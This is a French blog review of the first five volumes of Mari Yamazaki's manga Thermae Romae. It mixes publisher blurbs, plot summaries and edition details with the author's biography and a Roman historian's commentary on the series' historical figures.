Thermae Romae

“Lucius Modestus, document.write(“”); architecte romain en panne d’inspiration, découvre un passage à travers le temps qui le fait émerger au XXIe siècle, dans un bain japonais !!! Entre stupeur et émerveillement, Lucius parviendra-t-il à mettre à profit cette fantastique découverte pour relancer sa carrière ?” [ Texte du site de l’éditeur ]
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Ce manga est une comédie fantastique (fantasque?) un peu loufoque et même parfois grossière. Ce ne serait qu’un manga moyen (bon parce qu’hilarant, mais sans plus) si ce n’était des prémices plutôt ingénieux de cette histoire. Toutefois, pour moi personnellement, ce manga est particulièrement intéressant et amusant car il allie mes plus grands amours: le Japon et la Rome Antique, l’histoire et le manga! Qui plus est, il met en scène des personnages historiques qui me sont chers: l’empereur
Hadrien, son successeur désigné Aelius Caesar, le jeune Lucius (fils d’Aelius et futur co-empereur Lucius Verus), le jeune Marcus (futur empereur Marc-Aurèle) et Antonin (Sénateur, futur empereur et père adoptif de Lucius et Marcus).

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Ici je dois avouer avoir passé un peu plus d’une demi-douzaine d’années à étudier l’histoire romaine à l’université. Je me suis intéressé à des sujets comme les loisirs à Rome, leurs possible rôle dans la démoralisation romaine et les éventuelles conséquences sur le déclin de l’empire. J’ai consacré mes thèses de maîtrise et de doctorat à la vita veri, la vie du co-empereur Lucius Verus au sein de l’Histoire Auguste, un corpus de biographies d’empereurs du IIe et IIIe siècle, vraisemblablement écrit au IVe siècle (je suggère de lire aussi la vita hadriani et la vita aeli pour plus d’information sur la période historique où se déroule ce manga). Sur ce genre de sujet je doit m’efforcer d’être bref car je pourrais sans doute en parler pendant des heures. Mais, bon, vous voyez pourquoi je trouve ce manga particulièrement intéressant et amusant.

Thermae Romae (les thermes, ou bains, romains en latin) n’est évidemment pas qu’une simple comédie. L’histoire est bien écrite et supportée par une recherche sérieuse du détail. Les dessins (particulièrement les visages et les arrières-plans) sont dans un style réaliste, ce qui est plutôt rare pour un manga (surtout pour une comédie). Chacun des chapitres est suivi de commentaires et de notes explicatives par l’auteur. Ce manga, en plus d’être un divertissement agréable, nous offre beaucoup d’information tant sur la culture japonaise que romaine (qui, étrangement, semblent comporter de nombreux points communs).


Thermae Romae, vol. 1, par Mari Yamazaki. Paris, Casterman (Coll. Sakka), Mars 2012. 13.2 x 18.0 x 1.4 cm, 186 pg., 7,95 € / $13.95 Can. ISBN: 978-2-2030-4909-3. Sens de lecture original japonais. Recommandé pour jeune adulte (14+).

“Les aventures thermales de Lucius se poursuivent sur les chapeaux de roue. Si l’humour est toujours aussi présent (un orgueilleux citoyen romain pris pour un dieu japonais de la fertilité suite à un malentendu, puis enfermé dans l’enclos aux crocodiles d’un parc d’attractions, ou encore terrifié mais excité par sa première glissade sur un tobogan aquatique) notre architecte semble être de plus en plus dépassé par les événements : devenir un proche de l’empereur, s’est s’attirer l’inimitié de gens puissants. Lucius va-t-il se retourver au centre d’un complot politique ?” [Texte du site de l’éditeur]

Thermae Romae (????????), écrit et illustré par Mari Yamazaki, a d’abord été prépublié par Enterbrain dans leur magazine mensuel de manga seinen Comic Beam (entre février 2008 et avril 2013) avant d’être compilé en six volumes (le premier est paru en novembre 2009 et le dernier paraîtra en juin 2013). La traduction française est publié par Casterman (Collection Sakka) depuis mars 2012 et les cinq premiers volumes sont déjà parus. La traduction anglaise est publiée par Yen Press (deux volumes de parus jusqu’à maintenant). Il a été honoré à deux reprises en 2010: le Prix Manga Taisho et le Prix culturel Osamu Tezuka pour une histoire courte.

Le second volume s’ouvre sur quatre planches en couleurs. Lucius Quintus Modestus est dévasté par la demande de divorce de Livia, sa femme. Il n’aurait peut-être pas dû passer trois ans à Jérusalem pour aider Hadrien. Son ami, le sculpteur Marcus, le réfère à une prêtresse dont les potions doivent surcharger sa virilité et il tente ainsi de regagner les faveurs de sa femmme. Mais celle-ci, croyant les rumeurs qu’il était l’amant d’Hadrien, s’est remarié et est enceinte! Il s’efforce donc de continuer son travail et doit trouver une façon d’expliquer à des barbares comment se comporter aux thermes (cela me rappelle d’ailleurs un album pour enfants que j’ai vu à la bibliothèque — mais cela est une autre histoire).

L’histoire suit son cours mais je dois avouer qu’après deux volumes les voyages dans le temps répétitifs de Lucius pour combler ses besoins d’innovation deviennent rapidement lassant. Heureusement l’auteur introduit quelques éléments nouveaux pour agrémenter le récit (la femme de Lucius ou les soldats d’origine barbare qui reçoivent la citoyenneté en remerciement de leurs service). Je trouve aussi intéressant qu’elle tente d’introduire un semblant d’intrigue politique, particulièrement en abordant la question de la succession d’Hadrien.


Thermae Romae, vol. 2, par Mari Yamazaki. Paris, Casterman (Coll. Sakka), Mars 2012. 13.2 x 18.1 x 1.8 cm, 202 pg., 7,95 € / $13.95 Can. ISBN: 978-2-2030-4910-9. Sens de lecture original japonais. Recommandé pour jeune adulte (14+).

“L’aventure spatio-temporelle continue pour notre cher architecte Lucius. Pris au piège par des sénateurs véreux, il retourne la situation à son avantage avec brio grâce à sa foi en la grandeur des Thermes ! Reconnu maintenant comme le nouvel architecte de l’Empire, les commandes affluent de tous côtés et c’est une nouvelle fois dans le Japon contemporain qu’il puise son inspiration et innove en construisant ici une ville thermale, là une baignoire individuelle en bois et là-bas des bains totalement divins !“ [ Texte du site de l’éditeur ]

Il est amusant de constater que Mari Yamazaki ne se destinait pas à une carrière de mangaka. Née à Tokyo en 1967, elle passe son enfance à Sapporo où sa mère, musicienne, est membre de l’orchestre symphonique. Après avoir voyagé en Europe, elle s’installe à Florence à dix-sept ans pour y étudier la peinture à l’École des Beaux-Arts. Après une décade passée en Italie, souvent dans des conditions difficiles, elle revient au Japon. Elle subvient à ses besoins par toutes sortes de petits travaux (animatrice télé, reporter, professeur d’italien à l’université, etc.). En 1997, uniquement dans l’espoir de remporter une bourse, elle participe à un concours organisé par Kodansha dans le but de recruter des dessinateurs débutants. C’est ainsi que commença sa carrière de mangaka. Après son mariage à un professeur de littérature comparée italien, elle voyage avec lui, au gré de son travail, en Égypte, en Syrie, au Portugal pour finalement s’établir à Chicago.

En s’inspirant surtout de ce quelle aime (l’Italie, l’histoire) et de son expérience personnelle (sa famille, ses voyages, son travail d’artiste) elle a publié depuis 2001 plus d’une douzaine de manga: M?retsu! Italia Kazoku (2006), Sore de wa Sassoku Buon Appetito! (2007), Rumi to Maya to Sono Sh?hen (2008, 2 vol.), Italia Kazoku F?rinkazan (2008), Sekai no Hate de mo Manga Egaku (2009, 2013; 3 vol.), Arabia Neko no Gorumu (2010, 2 vol.), Sweet Home Chicago (2010, 2013; 2 vol.), Jakomo Fosukari (2011), etc. Son manga le plus populaire est sans conteste Thermae Romae. Un seul autre titre a, jusqu’à maintenant, été traduit en français: Pil (Casterman, Coll. Écritures, avril 2013). Son plus récent ouvrage est une version illustrée de la biographie de Steve Jobs par Walter Isaacson prépubliée dans Kiss, un magazine josei bimensuel publié par Kodansha (extrait du manga).

Il est a noter que la biographie de Yamazaki publiée dans les volumes de Thermae Romae (et sur le site de Casterman) comporte une erreur importante: son mari n’est pas le potier italien rencontré à la gare de Bruxelles et qui l’invite à venir étudier en Italie en 1984 mais le petit-fils de celui-ci. On omet aussi de mentionner que le père de son fils n’est pas le petit-fils du potier mais un poète italien rencontré lors de son premier voyage en Italie (même la biographie sur wikipedia se trompe sur ce sujet; l’information a été confirmé sur le site officiel de Mari Yamazaki).

Dans le troisième volume de Thermae Romae, Lucius Modestus doit d’abord déjouer un complot que le sénat ourdit contre sa personne (j’aime bien l’idée que les brigands soit les descendants des survivants de l’éruption du Vésuve en 79), trouver un façon de garder Aelius bien au chaud lors de sa campagne en Pannonie et, finalement, reçoit d’un affranchi la commande pour construire des bains tape-à-l’oeil. La rencontre avec un jeune architecte japonais qui doit faire face à une demande similaire l’inspirera. Yamazaki réussi à éviter l’essoufflement de son récit en amenant Lucius à découvrir un peu plus de la culture japonaise. En comparant le deux cultures, elle suscite une réflexion sur l’expérience de découvrir une culture différente (ce qu’elle a elle même vécu en voyageant en Europe) et sur la perception que l’Occident a de la culture nippone.


Thermae Romae, vol. 3, par Mari Yamazaki. Paris, Casterman (Coll. Sakka), Juin 2012. 13.0 x 17.9 x 1.5 cm, 194 pg., 7,95 € / $13.95 Can. ISBN: 978-2-2030-5082-2. Sens de lecture original japonais. Recommandé pour jeune adulte (14+).

“Rome est au plus mal. Aelius Caesar, le successeur annoncé d’Hadrien, vient de rendre son dernier soupir… Et pour couronner le tout, Lucius se retrouve une nouvelle fois transporté dans le temps pile au moment où l’empereur lui confie une mission capitale pour le maintien de la Pax Romana ! À son arrivée, stupéfaction ! Lucius, croit voir la déesse de la lune en personne se dresser devant lui ! Qui est cette jeune femme et pourquoi sera-t-elle un atout fondamental pour Lucius ? Notre architecte n’est pas au bout de ses surprises, d’autant qu’il semble désormais « coincé » chez les visages plats… De quoi faire pléthore de découvertes !” [ Texte du site de l’éditeur ]

Le succès de Thermae Romae est sans aucun doute lié aux prémices ingénieux de l’histoire, son humour et à sa capacité de nous faire découvrir la culture romaine tout en suscitant une réflexion sur celle du Japon moderne. Je crois toutefois qu’une bonne part de ce succès est également due au style réaliste du manga. Cela, bien sûr, tient au fait que Yamazaki a reçu une formation artistique classique. Son style plus réaliste est parfait pour dépeindre tant les détails de la Rome antique (architecture, statuaire) que les visages occidentaux des romains et se démarque ainsi du style stéréotypé que l’on rencontre habituellement dans le manga.

Avec le quatrième volume, le manga prends une direction différente qui brise le cycle des aller-retours temporels de Lucius et donne un nouveau souffle au récit. Suite au décès d’Aelius, Lucius se voit confier une mission capitale pour assurer la succession d’Hadrien: la rénovation des bains de Baïes en Campanie. Mais en pleine conversation avec Hadrien, il disparait à nouveau et se retrouve cette fois coincé au Japon. Il fait la rencontre de la brillante Satsuki Odate, une geisha de station thermale très éduquée qui s’intéresse à la Rome antique et sait parler latin! Le fait d’avoir une interprète va permettre à Lucius de découvrir encore plus d’aspects de la culture japonaise moderne (dont l’électricité). Il fait également la rencontre avec la jument Hanako. Autant de raisons qui rendent son retour difficile!

Thermae Romae, vol. 4, par Mari Yamazaki. Paris, Casterman (Coll. Sakka), Octobre 2012. 13.4 x 18.2 x 1.7 cm, 194 pg., 7,95 € / $13.95 Can. ISBN: 978-2-2030-6040-1. Sens de lecture original japonais. Recommandé pour jeune adulte (14+).


“Grâce à la jolie Satsuki, Lucius continue d’approfondir ses connaissances des stations thermales japonaises, l’occasion pour les deux tourtereaux de passer du temps ensemble. Entre deux leçons particulières, Lucius se frottera à la pègre locale et fera la connaissance du grand-père de Satsuki qui lui fera découvrir la médecine traditionnelle japonaise. De retour à Rome pour un bref instant, Lucius apprend que l’état de santé de l’empereur Hadrien s’est encore dégradé, au point que celui-ci a perdu tout espoir. Hélas, Lucius ne contrôle pas ses voyages spatio-temporels et le voila à nouveau arraché à la Rome antique ! Quand pourra-t-il venir au chevet d’Hadrien pour le faire bénéficier de ses découvertes médicales ?” [ Texte du site de l’éditeur ]

Dans le cinquième volume il est moins question de bains romains que de différents petits aspects de la culture romaine: comment on montait à cheval, les massages thérapeutiques, l’importance de restaurer les anciennes constructions au lieu de les reconstruire (les vieux bâtiments personnifient le passé, la culture et prennent de la valeur, une certaine patine, avec le temps) ou le fait que le suicide n’était pas un tabou dans l’antiquité. Le récit se diversifie, donc, et la relation entre Lucius et Satsuki s’étoffe. La présentation du voyage dans le temps et l’espace (qui demeure toujours inexpliqué) se raffine: lorsqu’il disparait en pleine conversation avec Marcus dans les bains de Baïes, son corps devient transparent avant de s’effacer. Son attachement à la jeune femme, à la station thermale d’It?, sa volonté de la protégé des “brigands” de yakusa, l’empêche de rester à son époque afin de restaurer la station thermale de Baïes et de voir à la santé d’Hadrien. Il lui reste certainement quelques choses à faire ou a apprendre au Japon… Le volume se termine sur un suspense et nous fait languir pour le prochain et dernier tome! Un très bon manga!

Thermae Romae, vol. 5, par Mari Yamazaki. Paris, Casterman (Coll. Sakka), Janvier 2013. 13.4 x 18.2 x 1.6 cm, 194 pg., 7,95 € / $13.95 Can. ISBN: 978-2-2030-6206-1. Sens de lecture original japonais. Recommandé pour jeune adulte (14+).


Le volume six, qui doit sortir très bientôt au Japon, paraîtra sans doute en français d’ici la fin de l’été 2013 (Amazon l’annonce pour juillet). Je le commenterai sans doute à ce moment-là.

Thermae Romae a été adapté en une courte série d’animation (six épisodes d’une quinzaine de minutes chacun) ainsi qu’en un film long-métrage que nous commenterons dans un billet séparé (en anglais).

Pour plus d’information vous pouvez consulter les sites suivants:

Thermae Romae © 2009-2013 Mari Yamazaki. © Casterman 2012-2013 pour la présente édition française.

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